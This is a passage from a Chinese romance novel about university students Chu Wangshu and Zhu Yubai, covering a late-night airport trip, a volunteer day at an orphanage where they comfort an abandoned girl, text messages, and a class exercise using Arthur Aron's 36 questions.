祝屿白见她没有直接拒绝,暗地里松了口气,“一个我舍友所在的爱心社举办的陪伴聋哑儿童的活动,周六周日去陪小朋友们做做手工,写写字就行。”
“因为他们社团的有两个同学临时有事,所以我舍友拜托我再找个人一起去救个场。”
“当然可以啊。”楚忘殊一口答应,她忽然打量着祝屿白。
祝屿白耳朵又开始泛红,好在不明显。
“看什么?我脸上有东西?”
楚忘殊:“不不不,我只是发现原来你不像传闻中那么高冷吗?居然还会献爱心,深藏不露啊!”
祝屿白:“我藏着的还挺多,你好好挖掘吧。”
“那我走了。”楚忘殊笑了一下,眼见快走到她宿舍楼下,开口道别。
“再见。”
楚忘殊没走远几步,手机响了起来。
她停下来,接通:“泊希哥?你回来了吗?”
与此同时,她身后的祝屿白停下脚步。
12. 搭子日记十二
宿舍楼大门外,一只黑狸猫正惬意地舒展着肚皮。身旁经过几个学生对着它大呼可爱,它仿佛习惯了,仍高傲地抬着眼,眼神里充满轻蔑,像是在说“没见过世面的两脚兽”。
楚忘殊移到另一边安静点的地方,又问一遍沈泊希到机场了吗?
“还没呢,凌晨一点才到。”熟悉的声音从电话传来。
楚忘殊:“凌晨一点啊。行,到时候去我去接你。”
沈泊希:“凌晨一点你不睡觉来机场干嘛,我又不是不认识路。”
说完他又强调一遍,“好好睡觉,睡醒我到学校看你。”
“那怎么行,你会不容易回国一趟,我怎么能不来接你呢!”楚忘殊坚持。
“行行行,依你行了吧。”沈泊希知道她的性格,别看她平时总是很好说话的样子,实际骨子里最倔了,一旦认定了什么事,谁说来也不好使。
“你自己不准开车,叫刘叔送你来,听到没?”
楚忘殊:“遵命!”
两人东拉西扯聊了会儿,终于挂断了电话。
楚忘殊回宿舍收拾了点东西,和室友们说了声她今晚回家住,就下了楼。
江大晚上不查寝,所以她其实可以回家住的。
楚砚青在离这不远处给她买了栋公寓,让他不想住宿舍就搬出去住。
她和室友们关系挺好,也就常住宿舍。
但今晚她回来肯定很晚,会吵到她们,还是回家住比较合适。
出了楼,楚忘殊一瞬间就看到了一个意想不到的人。
祝屿白。
他怎么还在这?
楚忘殊走近,“你怎么还在这?等人吗?”说着往后看了看,空荡荡一片。
“你要去机场吗?”他不答反问
楚忘殊一惊:“你怎么知道?”他莫不是还兼职些其他职业,比如神算子?
“你刚才打电话那么大声,刚好我耳朵还正常。”
楚忘殊:“……”
方才一激动忘了控制音量。
“所以这两者有什么联系吗?”她没懂。
祝屿白:“我送你去。”
楚忘殊:“啊?”她更懵了。
“周六周日去福利院的活动我欠了你一个人情,现在当是我还你的。”祝屿白胡扯个理由。
“我不喜欢欠别人。”见她还在犹豫,他又加大筹码,“而且没听错的话是要一点去,刘叔一把年纪了,大晚上就不要折腾他了。”
楚忘殊沉默了,好像是这么个理。
“行,那谢谢你啦。”她答应下来。
“现在走吗?”祝屿白看向她背上背着的包,询问道。
楚忘殊:“对,现在走,不过不是去机场,我要先回家一趟。”
“你呢?有事吗?”到底是要麻烦别人,楚忘殊问他,“有事的话你可以先忙,十二点左右我们在东门集合?”
机场离着一小时左右的车程,晚上一般不会堵车,所以十二点从这出发刚好能赶上沈泊希到达。
祝屿白点点头,“好。”
“待会见,拜拜。”楚忘殊道了别,将包背好,戴好鸭舌帽,提步离开。
没走两步,她忽然折返,一脸凝重地问:“对了,你能把车开走的吧?”
祝屿白:“……”
不然他走路送她去吗?
“放心,能。”
楚忘殊:“那就好那就好。”
说完她就要走,祝屿白看她这没心没肺样,拉住她:“你要求真够低的,开车这么严肃的事,怎么能只要别人‘把车开走’就行?”
楚忘殊视线落在他抓着她胳膊的手上,“可你不是别人啊。”
祝屿白:“……”
他第一次觉得无法反驳。
“你可是祝屿白哎,你说能把车开走,那就意味着你能把车开得堪比赛车手!”楚忘殊调侃道。
“放心,我很惜命的。”她眨眨眼,“这次我真走了,待会见。”
祝屿白站在原地,看着她离开的背影,嘴角不自觉勾了一下。
楚忘殊回到家,先开了冰箱查看有没有食材。
她恍惚记得上一次沈泊希回来,看到冰箱里空无一物。
他当时没说什么,只是旁敲侧击地交代她不给你把冰箱做摆设。
她连连点头,以为逃过一劫。
只要她认错得快,他就不会告诉楚砚青。
没想到他刚走的第二天,楚砚青的电话就杀了过来。
又是一顿长达两小时的唠叨……
她真是经历一次就够了。
她小声反驳了句她只是偶尔来这,冰箱里的东西完全是浪费,换来了楚砚青更夸张的唠叨,甚至直接回国,就为了监督她把冰箱填满……
他也真够闲得慌。
确保冰箱没问题,她放下心,躺在沙发上放空。
视线胡乱转着,偶然看到瞥见墙上的一个摆件,她忽然从沙发上弹起来,兴致勃勃地进了房间。
夜色如黑纱般落了下来,霓虹灯光点缀其上,时针指向十二点。
楚忘殊准时出了门,来到约定的地点。
祝屿白开着车刚好到。
她拉开车门上车坐好,“出发吧。”
车子快速起步,“江州大学”四个字渐行渐远。
两旁路灯大亮着,灯光投进车内,半明半暗。
楚忘殊摇下车窗,仍由冷风灌入,她享受这样的时刻。
行至高速路段,风力渐大,实在不适合吹风,她老老实实关上车窗,视线转而落在主驾驶上的人。
祝屿白侧脸很优越,五官比例简直是女娲的炫技之作。
尤其是此刻夜色下朦胧得恰到好处,给人无限得遐想空间。
“楚忘殊。”
忽听一道清凌的声音叫她,她回过神。
“啊?”
祝屿白专心开车,目不斜视道:“现在不要盯着我看。”
“哦。”楚忘殊被当事人抓包,没半点尴尬,还出声调侃,“看你是要收费吗?”
她拍她的包,“出个价吧,包年多少钱?”
祝屿白:“……”
没等他说话,身旁的人就反悔道:“算了算了,我现在挺穷的,比起美色还是吃饭更重要。”
祝屿白:“……”
一点毅力都没有,再晚一秒,他就免费了。
“你缺钱?”
据他所知,她家里很富裕,甚至富裕都不能形容。
再怎么样也不该和“缺钱”联系在一起。
楚忘殊调了个舒服的角度,靠在座椅上,“是啊,很缺。”
她打了个呵欠,一阵困意袭来。
“我能睡一会儿吗?”她有点不好意思。
大半夜地将人拉来开车,自己还在旁边睡觉,非常不道德……
但她好困,上下眼皮快要黏在一起了。
“睡吧,到了我叫你。”
楚忘殊安心地阖上眼。
祝屿白将
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车辆开得更平缓些,方便她睡觉。
车里变得很寂静,偶尔响起楚忘殊清浅的呼吸声。
祝屿白很不喜欢夜晚。
夜色茫茫,总是让他恐惧,让他想起十五岁回到家撞见的那一幕,让他窥见他人生的裂痕。
可是现在,他忽然觉得很安心。
如果这条路没有尽头就好了。
红色的亮光投射在他脸上,他踩下刹车。
“到了吗?”楚忘殊幽幽转醒,没高清状况。
祝屿白偏过头看向她,嘴角抿直,“我们可能堵车了。”
“啊?”楚忘殊惊醒了,看向前方。
红色的尾灯一眼看不到头。
“不应该啊,”她嘀嘀咕咕,“按理说这段路车流不会到堵车的地步啊。”
她掏出手机看路况,才发现上面全是红的。
“完了完了,前面好像发生车祸了,还要堵很久。”
“现在除了等也别无办法,先看看情况。”祝屿白安慰她。
楚忘殊双手撑着脸,惆怅地看向前方拥挤的车流。
“欸,现在也只能这样了。”
车里安静下来,见她眉头紧皱,祝屿白找话题和她聊天,“在担心第一时间接不到你想见的人?”他手不自觉握紧方向盘。
她忍着困意也要见的人,对她有多重要呢?
车外鸣笛声不断响起,大多人等得太久,以此来表达自己的烦躁。
车内,楚忘殊重重叹了口气,幽幽道:“不是,我只是在想我俩今晚能回去吗?”
“不会要在车里过一夜吧……”她越想越心凉。
祝屿白手放松下来。
“应该……不会。”
楚忘殊拿起手手机,已经两点五十了。
她正想息屏,电话铃声响起。
“喂,泊希哥你到了吗?”
“嗯,你来了吗?”沈泊希轻声问,身旁的嘈杂声伴随着他的声音落在车内。
楚忘殊一脸生无可恋,“我们堵在路上了。”
沈泊希:“知道多久能恢复吗?”
楚忘殊:“还不清楚。”
沈泊希顿了顿,告诉她,“那待会恢复了,你叫刘叔找个最近的路口下高速,然后折返,不用来机场。”
“好。”
“行,回家见,注意安全。”沈泊希说完挂了电话。
楚忘殊捏着手机,莫名觉得有哪里不对劲。
“让我们回去吗?”祝屿白忽然问。
她盯着祝屿白,想出哪里不对劲了——好像忘了告诉沈泊希不是刘叔送她来的。
算了,应该不重要。
所幸没有堵很久,在和沈泊希打完电话的二十分钟后,车流终于动了。
祝屿白往分路口下高速,掉头返回。
凌晨四点,两人到达市中心。
楚忘殊下了车,凉风拂过她的侧脸。
坐在车里久了,现在感觉空气都是前所未有的清新。
“今晚麻烦你了。”楚忘殊看着下了车的祝屿白说道:“你还要回学校吗?”
祝屿白还没说话,两人身后忽然传来一声:“小殊。”
“泊希哥,你比我还快到啊?”楚忘殊应声回头。
沈泊希穿着居家的毛衣,衣袖卷起,露出小麦色的胳膊。
他笑笑,“我刚到一会儿。”
他视线慢慢移到祝屿白身上,笑意淡了些。
两人视线隔着楚忘殊在空中交汇。
13. 搭子日记十三
接近凌晨两点的江州,抬头依稀可以看到弯月旁忽明忽暗的星星。
屋内,楚忘殊给每人倒了杯热水。倒完自己的后,她端着杯子吹了吹热气,轻抿一口。
视线在祝屿白和沈泊希之间徘徊。
这两人从坐下到现在,都目不转睛地看着对方。
她不解,这两人不是第一次见面吗?
她抬起手,在空中挥了挥,“哈喽?能看见这还有个人吗?”
两人目光默契移开,随后又神同步落在楚忘殊身上。
沈泊希率先开口,“小殊,不介绍一下?”说着下巴朝祝屿白的方向一抬。
祝屿白没说话,沉默地坐在一旁,等着楚忘殊的介绍。
他也想听听,她会如何介绍他?
“祝屿白,我朋友。”楚忘殊朝祝屿白一指,说着又转向沈泊希,“这是沈泊希,我哥。”
她言简意赅介绍完,没意识到两人在听完她的介绍后,同时松了口气。
沈泊希没说话,只是笑着看向楚忘殊。
楚忘殊瞬间感觉大事不妙。
沈泊希眼型狭长,长着一双狐狸眼,轻压眉头,就会给人无尽的压迫感。
每次沈泊希这样看她,总会揪出她的小辫子,然后向楚砚青告状,她又得听一遍楚砚青的紧箍咒。
她脑子飞速运转,努力想她到底遗漏了什么。
她看向沈泊希,发现他的视线总是若有似无地瞥向祝屿白。
祝屿白?
她看过去,终于知道是什么了。
她扯出一个笑,向沈泊希解释,“泊希哥,我朋友是送我去机场,现在又送我回来的。”
沈泊希凉凉地看向她,“刘叔呢?他不舒服吗?大半夜的怎么麻烦外人。”
话里话外都透露着“我们”与“外人”。
祝屿白开口说了今晚第一句话,“不麻烦,毕竟我们是很好的朋友。”
他停顿一下,脸上挂着恰当的社交笑容,“再说,我平时也很助人为乐。”
楚忘殊:“???”
他?助人为乐?
不是,到底是谁传的祝屿白高冷的啊?
看他“助人为乐”这四个字说得多自然。
她脑海里忽然冒出他说的周六周日去福利院陪伴小朋友的事。
或许,他还真是个助人为乐的人……
沈泊希神色不变,端起眼前的杯子,应了声,“看得出,虽说你不嫌麻烦,但我还是应该向你说声谢谢。”
楚忘殊打了声呵欠。
本来她因为堵车的事吓得没了困意,现在回家来坐着,听着两人磨磨蹭蹭的对话,她困意又上来了。
祝屿白注意到,抿了抿唇,起身道了别。
“今天太晚了,我先回去了,好好休息。”
楚忘殊答好。
祝屿白走出门的那一瞬间,楚忘殊黏糊糊的嗓音钻进他的耳朵:
“什么时候去?”
“……”
“周六周末啊……我考虑考虑。”
他眼神一暗,快步走出大门,开着车隐入夜色。
祝屿白离开后,屋内的两人也转身上了楼,准备睡觉。
沈泊希有时差还好,一点困意都没有了。
另一个就不行了,简直想立刻躺在床上,睡个天昏地暗。
沈泊希在这有专门的房间,轻车熟路回房,完全不需要楚忘殊的招呼。
他刚坐下,电话响了起来。
页面显示是“狗东西”。
“说。”他接通。
“到了吗?”楚砚青例行公事般询问。
沈泊希嗤笑了一声,没说话,等着他楚砚青要说的正事。
果然下一秒,楚砚青真正想问的话就甩了过来,“我妹怎么样?刘叔说的那个人见到了吗?”
他话真的很多,无论是对谁。
接通电话后,沈泊希只说了一句,他噼里啪啦的话还没停:“不对,你那里应该是半夜,应该还没时间见。”
“我见到了。”
电话那头忽然传来一声突兀的声音,听起来像花瓶碎了。
“什么?”楚砚青惊呼出声,“什么情况?”
沈泊希扶额,“不是你想的那样,小殊跟我说就是朋友,今晚只是开车送她去机场接我。”
楚砚青稳了下来。
楚忘殊都这么说了,那就只是朋友。
对她的话他还是无条件相信的。
“那她呢?最近看起来怎么样?”
沈泊希:“看起来挺好的,变得爱笑了很多。”
听完他的话,楚砚青却高兴不起来。
他一直知道,他这个妹妹,总喜欢把所有心事藏起来。
现在的她很像一只断线的风筝,慢悠悠地悬浮在空中,风往哪吹,她就往哪飞。
对会落在哪里完全不在乎,也不在乎会不会在哪搁浅。
可是明明从前的她不是这样的。
如果没有那件事……
房间沉默下来,良久后,楚砚青才开口,“她开心就好,你忙完国内的事,记得带她出去好好玩几天。”
沈泊希这次回国,一是为了看楚忘殊,二是他有个画展要办,需要他出席。
沈泊希懒洋洋地应了声,“不用你说,挂了,困。”
说完直截了当地挂了电话。
屋内开着灯,他躺在床上,望着天花板,不知道在想什么。
窗外天欲破晓,低垂的天际泛着鱼肚白,屋内的灯刚暗下去。
接下来的几天,楚忘殊都没住学校,往往上完课就回了家。
刚踏进门,就闻到了一股香味,是从厨房飘过来的。
“泊希哥,今天又做什么啊?” 她把包挂好,换了拖鞋,人还没走到厨房,话已经先飘了过去。
沈泊希这次回来,说新学了一份技能——做菜。
原先楚忘殊是不信的,她怀疑地看向他的手,实在想象不出他习惯了拿画笔的手去做菜的样子。
毕竟做菜真的是门技术活,不是什么人都能做的。
她想起她第一次做菜,差点没把房子炸了的悲剧场景,后怕得摇摇头。
可当她第一次尝到沈泊希做的菜,立马抛弃了所有怀疑,转为膜拜。
明明是简单得不能再简单的食材,经过他的处理,味道蹭一下呈指数式增长。
自从沈泊希来,家里的阿姨都没活干了。
两人吃完饭,楚忘殊满足地仰靠在椅背上。
片刻后,她看向餐桌对面的沈泊希,“泊希哥,你待会还有事吗?”
沈泊希夹了颗豌豆,“没了,怎么了?”
"那我们今晚去看
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你的画展吧?"
“这么突然,不是说周六去吗?”
楚忘殊笑了下,“当然是迫不及待啦,忍不住想看你的大作!”
沈泊希眉梢一挑,对她的话一个标点符号都没信。
出口的话却不由自主变成了“行”。
——
周六,万里无云,温度怡人,是个出行的好天气。
男生寝室里,祝屿白心不在焉地把玩着手机。
宿舍门打开,有人进来。
宋然走近,看到祝屿白一副魂不守舍的样子,他碰了碰他的椅子,“哎,想什么呢?这么入神?”
祝屿白目光落在手机上,回了句“没什么”。
他话在宿舍很少,宋然也没再追问,坐下打开电脑。
“对了,”他忽然问,“你上次说要参加福利院的陪伴活动,确定好了吗?”
宋然大一入学时,对什么事都很好奇,参加了各种奇奇怪怪的社团,各种比赛也想插一脚。
但他大多三分钟热度,坚持不了多久。
唯一坚持下来的,也只有表白墙以及爱心社——甚至做到了社长的程度。
他们社团这周末要去江大附近的一个福利院组织陪伴活动。
前几天祝屿白忽然问他还有名额吗?他和他一朋友也想去。
要不是祝屿白是当面问他的,他还以为祝屿白被盗号了。
他参加活动?堪比天方夜谭。
他们组织的人数其实已经够了,甚至还多计划了两个。
但志愿者当然越多越好,这样也能充分起到陪伴小朋友们的作用。
祝屿白愣了会儿,好半天没说话。
她应该是要陪沈泊希去不了了吧……
那他还去吗?
没等他做最后的抉择,手机突然发出一个特殊的提示音。
【CWS:什么时候出发?】
祝屿白立刻打字:【ZYB:你要去?】
那边甩出来一个问号。
【CWS:当然啊,我都答应你了。】
祝屿白暗笑了下,心情很不错,他问旁边的宋然,“什么时候出发?”
宋然被他突然转变的情绪搞得一脸懵,下意识回答:“两点到校门口集合,坐大巴过去。”
说完一脸狐疑地偷瞥祝屿白,难道学神学习压力太大,精分了?不然这情绪变得有太快了吧。
上一秒还死气沉沉、要死不活的;这一秒像打了兴奋剂,恨不得跑上一万米。
祝屿白不知道宋然心里对他精神状态的关心,注意力都在和楚忘殊的聊天界面上。
【ZYB:下午两点,东门集合。】
【CWS:OK】
下午两点,楚忘殊掐点到达。
上了大巴,她直奔最后一排去。
第一排特意帮她占座的祝屿白:“……”
他怕她不习惯坐大巴,藏特意提前来帮她占个好位置。
没想到她偏偏喜欢后排,一个眼神没给他。
他沉默地站起身,若无其事地往后排走去。
“你也刚到啊?这这这。”楚忘殊看到他后忙伸手招呼,往里挪了挪,给他腾出位置。
祝屿白:“……嗯,刚到。”
“你今天怎么有空来?”他状似无意地补了句,“你不是要陪沈泊希吗?”
14. 搭子日记十五
江州的路况稍好,大巴开得不紧不慢,没有丝毫颠簸。
最后一排,楚忘殊开窗透透气。她对着窗户捣鼓半天,愣是没找到怎么开窗。
“我来吧。”身旁的祝屿白看不下去,提出帮忙。
他起身越过楚忘殊,伸手往玻璃上方红色的金属暗扣。
“咔哒”一声,窗户开了。
楚忘殊一动不敢动,生怕碰到祝屿白。
大巴座位间隔狭小,尽管后排只有他们两人,但他俯身开窗的动作,免不了会让两人之间的距离拉近。
她似乎能听到自己的呼吸声,以及咫尺之外祝屿白心脏的跳动声。
亦或是自己的。
凉风肆意涌入大巴内,赶走车内的闷热烦躁。。
楚忘殊扒着窗户,脑袋靠在上面,仍由呼呼作响的凉风灌入口鼻。
耳边祝屿白的声音再次响起,“你怎么有空来?”
他第二次问这个问题,格外执着,似乎一定要个答案。
楚忘殊的声音随风吹进来,“不能让人失望啊。”
“谁?”
她转过头,“当然是——小朋友们!”
祝屿白神色淡淡,似乎还想问什么,但最终还是将即将脱口的话压了回去。
他目不斜视地看着前方,视线却没有焦点。
明明前面坐着很多人,他眼里却像一片虚无一样。
“还有你啊。”楚忘殊又接着说,“我不来的话,不就害你上次还的人情肉包子打狗了。”
“再说,沈泊希一年回来好多次,不在乎哪点时间,还是去福利院比较重要。”
祝屿白扭头看窗,街景不断倒退。
他嘴角勾了勾。
一个小时后,大巴到达福利院。
福利院的工作人员早早站在门口等候他们。
宋然是这次活动的组织者,他游刃有余地工作人员完成对接,确定好他们本次的任务就是带小朋友们做做手工,起到一个陪伴作用。
他将五人分成一组,每组分配不同的任务。
楚忘殊和祝屿白在同一组,主要是陪小朋友们体验如何做汤圆。
楚忘殊开始犯难,看着面前好几双满眼期待的眼睛,她有些羞愧。
在她面对着眼前这些面粉束手无策时,旁边的祝屿白已经挽好袖子,招呼着小朋友们开始。
加水、和面……
他组织得井井有条。
楚忘殊学着他的样子,也加入进去。
屋内不时传出一阵阵欢笑声,有大学生赤诚的笑,有小孩子们天真的笑,让这座房子有了不一样的面貌。
“祝屿白,下一步干嘛?”
楚忘殊端着个小盆,里面是已经揉得滚圆的面团。
“用层保鲜膜盖着等发酵。”祝屿白轻声回答她。
“别动。”他抬起头,忽然凑近她。
将手擦干净后,他食指划过她的鼻尖。
楚忘殊整个人一愣,脑袋过载,无法做出反应,只感受到鼻尖发烫,就像他的手带着火苗一样。
“上面有面粉。”祝屿白向她解释。
楚忘殊尴尬一笑:“刚才和一个小朋友玩她抹上去的,忘了擦。”
小插曲一闪而过,两人接下来没太多交集,忙着招呼着他们负责的小朋友们。
头顶的太阳不知不觉移了位置,即将西沉。
今天的活动即将接近尾声。
楚忘殊坐在一个长椅上休息,这时一个穿着黑色衣服的小女孩安静地走到她身边坐下。
楚忘殊对小女孩印象深刻。
她今天的表现,不像其他孩子一样乐于参加活动,并发自内心地开心。
这个小女孩似乎只是为了合群,不得不参加,更别提在活动中获得快乐。
楚忘殊俯下身,拉近和小女孩的距离,轻声问她,“怎么了吗?”
小女孩第一时间没说话,只是抬起眼看着楚忘殊。
她眼睛里不见半点孩童的天真活泼,反而沉寂得近乎荒芜。
“姐姐,我能问你一个问题吗?”小女孩鼓起勇气,稚嫩的嗓音中满是希冀。
楚忘殊点头,握住她的手,“当然可以,你说,我在听。”
“是我太讨人厌了吗?为什么爸爸妈妈不要我?”
话音落地,楚忘殊一怔,这个问题她该怎么回答?
这家福利院的孩子们大多是被遗弃的,有些小孩子从出生第一天就被接近院里,也有些是年龄大了些才被丢弃在这里。
眼前这个女孩四五岁的模样,或许在被丢弃时,已经有了记忆。
楚忘殊低着头思考,该如何温和地回答这个问题。
肯定不能太直白,也不能用“他们会回来接你的”这个虚妄的话给她期待。
手里的小手忽地抽离,小女孩对她笑了笑,似乎是认为自己的话为别人添了困扰。
“姐姐,没关系,我只是随便问问的。”
楚忘殊急切地想解释,可是又不知如何开口。
她还在寻求答案的路上。
“我听到你问这个问题,我有点难过,谢谢你愿意和我们分享你的感受。”祝屿白的话忽然插进来。
祝屿白蹲下来与小女孩平视,摸了摸她的头,“我想告诉你的是,这一切都不是你的错。每个孩子都值得被好好爱护,就像花园里的每朵小花都值得被阳光照耀一样。”
“有些大人的生活,可能遇到了非常非常大的困难,就像暴风雨突然掀翻花园的栅栏一样。这些困难可能是生病、没钱,或者没信心照顾好孩子……但这些都和小花本身美好与否无关。”
小女孩似乎听懂了他的话,眼里有细微的泪光。
楚忘殊听得入神,视线不知不觉移到祝屿白身上。
她看见祝屿白对小女孩笑着,声音很温柔。
“现在有很多人在努力为你建造新的栅栏——比如每天给你做饭的阿姨、陪你读书的老师,还有未来可能遇到的新家庭,甚至许多你素不相识的陌生人。你可能会奇怪为什么暴风雨会发生,但那不重要,重要的是,我们都在学习让阳光继续照在小花上。”
说完,祝屿白指了指不远处的桌子,“所以你愿意体验一下如何做汤圆吗?”
小女孩露出个灿烂的笑容,重重点头。
离开前,她轻声询问楚忘殊,“姐姐我可以抱抱你吗?”
楚忘殊回神,张开双手,“当然可以。”
和她拥抱完,小女孩同样抱了抱祝屿白,这才一蹦
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一跳地离开。
留在原地的两人,目送她远去。
“我们也走吧。”祝屿白起身。
衣角传来一股阻力,他望过去,楚忘殊伸出手拉住。
“祝屿白。”她还保持着蹲在地上的动作,脸埋在膝头。
他重新蹲下去,“我在这。”
“你说那些不要孩子的家长是怎么想的?”楚忘殊声音低沉,夹杂着一丝疑惑。“为什么会有父母生下孩子,却又不喜欢孩子,随便将她丢在一个角落,任由她自生自灭?”
祝屿白沉默了几秒,随后双手捧起楚忘殊的脸,让她迷茫的眼睛里看到他。
“这个问题,我无法给你一个标准答案。但我相信,每个孩子降生都是伴随着期待而来的。或许往后的岁月里发生了什么让他们变了,但没关系,那不是你的错,你只需要做你自己就好。”
一颗泪珠滑落,在地面晕染开一个圆点。
楚忘殊低下头擦干眼泪,再次抬起头来脸上挂了个笑容。
“都怪你,说得太煽情,让我这么投入,好糗。”她站起身,却因为蹲着太久脚麻了,晃了一下,才完全站稳。
“走吧,都快要结束了。”她语气轻快,快步离开。
好似刚才那个哭得稀里哗啦的人不是她。
陪伴活动正式收官,一行人如刚来的时候一样坐着大巴回去。
回去的路上,楚忘殊都靠窗盯着车外,没和祝屿白有任何交流。
到达学校,刘叔的车早早就停在一旁等她,她一下大巴就上了车,随意和祝屿白说了句“先走了”就让刘叔开车走了。
祝屿白站在原地,直到车尾消失在视线中才离开。
看她的样子,明摆着不想和他说话。
他做错什么了吗?
另一边,楚忘殊坐在车上烦得不行。
怎么这么丢人啊……还哭。
她想了想,她有多久没哭过了。
今天怎么就忍不住,还在祝屿白面前哭……
他不会认为她就是这么脆弱的人吧?
楚忘殊烦躁得拿起车上得抱枕把自己得脸埋进去。
“小殊,是有烦心事吗?”驾驶位得刘叔注意到楚忘殊反常的动作,关心道。
楚忘殊:“……没事。”
“那就好,我还以为你是因为泊希要走了难过呢。”
楚忘殊惊讶不已,沈泊希要回去了?她怎么不知道。
“泊希哥今天走?他没告诉我。”
刘叔:“听说是他父母那出了点事,我刚出门的时候他在收拾行李,那可能是他还没来得及告诉你。”
楚忘殊想起来她手机没电关机了,忙拿出车里备用的充电宝,手机能开机后她连忙开机。
果然,刚开机沈泊希的消息就跳了出来:
【泊希哥:小殊,这次不能陪你去爬山了,我爸妈那出了点事,我得赶快回去。】
【泊希哥:这次先欠着,下次回来加倍赔你。】
她回了一条“我马上回来”,说着问刘叔能加快一点吗?
见她着急,刘叔加快了速度。
两人赶在沈泊希出门的前一秒到家。
楚忘殊跑上前,问他,“阿姨和叔叔出什么事了?”
15. 搭子日记十五
沈泊希让人把行李搬上车,“我妈说她住院了。”
“这么严重?”
沈泊希安抚她,“别急,听我说完,她没事,是装病的,就是想让我回去。”
楚忘殊迟疑了一下,猜测道:“又是骗你回去相亲?”
“是啊。”沈泊希无奈点头。
沈泊希妈妈对沈泊希的终身大事格外着急,从他二十三岁就安排他各种相亲。
他妈妈的至理名言:“二十三一晃眼就三十二了,过了三十的男人还有谁要?别说三十,现在就是二十也不好找。”
沈泊希被催得烦,只好以各种各样的理由出差,飞往各国,这样还能以没时间挡一挡。
但道高一尺魔高一丈,他妈妈有的是办法治他,每次都和他说她身体难受,住院了,让他回去看她。
他心里清楚,但他不敢冒险。
“好了,我先走了,下次回来再给你带礼物。”沈泊希拍拍她的头。
“我送你到机场吧。”
见她坚持,沈泊希嗯了声。
“等我一下。”她丢下一句,忙着跑回屋内,出来后手里多了个两个袋子。
两人坐在后排,前排司机在开车。
楚忘殊将手里米白色的袋子递给沈泊希,里面装着一只钢笔,是他很喜欢的牌子。
沈泊希接过,“难得啊,居然还会给我准备礼物了。”
楚忘殊:“……”
她无语,不懂他在瞎感慨什么。
不是他说他钢笔坏了,让她帮忙买一只的吗?
介于他慷慨的“跑腿费”,她十分乐意为他效劳。
沈泊希见好就好,不再玩笑,视线落在她另一个黑色袋子上。
“这是什么?”
楚忘殊脸上出现一抹别扭,支支吾吾半天不说话。
最后还是沈泊希问,“给楚砚青的?”
“嗯。”她舌头打架半天后终于吐出一个字。
“我一定当好这个快递员。”沈泊希轻笑一声。
他将楚忘殊给他的两份礼物都放在手提包里,确保不会出意外。
要是被楚砚青那狗东西知道他妹第一次送他的礼物被损坏,难以想象那家伙会作何反应。
反正后果不会好。
到机场的路上,楚忘殊情绪不高。
她不喜欢这样的时刻。
目送着人离去,看着熟悉的身影没入人海,可能一眨眼就再也看不到了。
她经历过很多次这样的场景,也知道过不了多久离开的人会再回来,但她还没学会接受离别。
沈泊希登机离开,楚忘殊独自坐在大厅。
身边人来人往。有全家出动举着横幅接孩子的长辈,有即将离别相拥而泣的恋人,有风尘仆仆、独自跋山涉水的旅客。
她呆呆地看着,不知道在想什么。
她回到家,天色已晚。
屋内开着灯,静悄悄的。
她躺在沙发上,忽然想起来手机没在身边。
虽说也没什么要紧事,但她还是慢悠悠起身找手机。
最后她在玄关处她惯常放东西的地方找到了。
手机黑屏着,她按了按开机键。
没反应。
看来是没电了。
她又去拿包,翻出充电器。
充上电,她重新开机,等待开机的途中她去厨房拿了杯酸奶,回来时刚刚好。
一开机,好几条微信消息涌出来。
她惊了一瞬,发现这些消息全部来自一个人——祝屿白。
她点开聊天框:
【ZYB:我做错什么了吗?】
【ZYB:你下车为什么不想和我说话?】
【ZYB:没看到吗?】
【ZYB:还是不想理我?】
……
楚忘殊一条条浏览,发现他中间还撤回了一条。
后面的消息甚至还猜到了她手机没电。
她继续往下看,屏幕上一个个可爱的表情包成功让她停下。
她沉默,这?确定是祝屿白发的?
【CWS:你被盗号了?】
对话框头顶显示“对方正在输入中…”。
反反复复出现好几次后,对话框终于有了新消息,【ZYB:……没。】
祝屿白盯着对话框默然。
耳机里响起周琰的声音,“怎么样?她回了吗?”
祝屿白语气僵硬,抿唇,“她问我是被盗号了吗?”
他此刻万分后悔采用周琰的馊主意,发那些乱七八糟的表情包。
周琰嘴角的笑凝固,轻咳一声,“那什么,我又没谈过恋爱,我哪会哄人,你自己看着办吧。”
说完就迫不及待地挂断了电话,剩下一脸无语的祝屿白。
他刚才真是急昏了头,才病急乱投医跑去问周琰。
结果得到这么个离谱的方法。
问题是他还信了。
还执行……
【CWS:我手机没电关机了。】
她解释。
【ZYB:嗯,猜到了。】
就是比较……后知后觉。
两人没再说话,对话框安静片刻。
楚忘殊却没有安静。
她在屋内来回踱步,消息打了又删。
该不该和他解释她下车不和他说话,不是他做错了什么,只是她那一刻觉得在他面前哭了很丢脸?
她纠结半天,最后还是决定解释。
发完她立马闭上眼睛,将手机丢到一边,没敢看他的回复。
手机振动几下,她知道是他回了消息。
她捡起手机,祝屿白的话毫不遮掩地引入眼帘。
【ZYB:哭是一个人正常的情绪,为什么会觉得丢脸?】
【ZYB:你有在任何人、任何情况下表达你情绪的权利。】
楚忘殊一愣,没想到他会这么说。
【CWS:你也哭过吗?】
【ZYB:嗯,哭过,哭得很惨的那种。】
楚忘殊笑开,没再追问他为什么哭。
——
楚忘殊又搬回宿舍住,开启新的一周。
周一,她照例掐点到,径直走向最后一排熟悉的位置。
她和祝屿白打了声招呼:“早上好。”
回应她的是尹老师洪钟般的嗓音:“同学们早上好啊。”
见尹老师来了,楚忘殊歇了和祝屿白闲聊的心思,退了座位上。
身体坐正的前一秒,祝屿白轻声说了句“楚忘殊,早上好。”
她偏头,看见祝屿白目光笔直看向黑板,嘴角上扬的弧度提示着刚才不是她的幻听。
她不自觉笑了下。
在上课铃叮铃铃的背景音下,尹老师打开投影仪,开始播放本次课间PPT。
底下众人纷纷抬头,见这次的标题是“亚瑟·阿伦的三十六问”。
“有同学了解本节课的主题吗?”尹老师指着标题,提问道。
第一排有人举手,“我听说过,举手通过这三十六个问题,能让两个陌生人在四十五分钟内建立好感,甚至爱上对方。”
“说得很好。”尹老师赞许道,“上周我让你们进行匿名重组,有的同学换了,有些同学没换。”
他说完顿了顿,
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“但从这周开始,大家的搭档就固定好。”
“今天我们就来开展新的课程——亚瑟·阿伦的三十六问。”
他轻点屏幕,换了也PPT。
上面罗列着“三十六问”的每个问题。
从第一个“全世界你最想和谁共进晚餐?”到最后一个“就一个私人问题请教对方,如果是他(她)会怎么做,并告诉对方你的想法?”
看众人浏览完,尹老师接着说,“我不要求你们每个问题都回答,只需要在这三组问题中每组挑出一个回答就行。”
“现在开始吧,每个人挑你想问的三个问题向对方提问。”
这边两人速度都很快,几乎是同一时间抬头看向对方,询问对方选好了没。
